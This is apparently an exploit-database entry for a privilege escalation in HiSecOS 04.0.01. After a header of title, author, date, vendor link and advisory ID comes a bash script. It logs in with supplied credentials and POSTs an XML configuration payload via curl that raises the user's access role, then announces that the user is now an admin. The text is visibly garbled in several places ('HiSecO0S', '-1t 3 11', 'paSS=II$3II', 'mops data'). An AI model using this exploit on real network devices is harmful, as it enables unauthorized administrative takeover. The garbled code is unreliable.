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# Exploit Title: HiSecO0S 04.0.01 - Privilege Escalation

# Google Dork: HiSecOS Web Server Vulnerability Allows User Role Privilege
Escalation

# Date: 21.06.2023

# Exploit Author: dreizehnutters

# Vendor Homepage: https://dam.belden.com/dmm3bwsv3/assetstream.aspx?
assetid=15437&mediaformatid=50063&destinationid=10016

# Version: HiSec0S-04.0.01 or lower

# Tested on: HiSec0S-04.0.01

# CVE: BSECV-2021-07

#!/bin/bash

if [[ $# -1t 3 11; then
echo "Usage: $0 <IP> <USERNAME> <PASSWORD>"
exit 1

fi

target="$1"
user="$2"
paSS=II$3II

# Craft basic header
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<Set name="hmZUSerAccessRole">l5</set>
</Node>
</MIB>
</MIBData>
</edit-config>
</mibOperation>
</rpc>
EOF
}

curl -i -s -k -X POST \
-H "content-type: application/xml" \
-H "authorization: Basic ${auth}" \
--data-binary "$(gen payload)" \
"https://${target}/mops data"

echo "[*] $user is now an admin"
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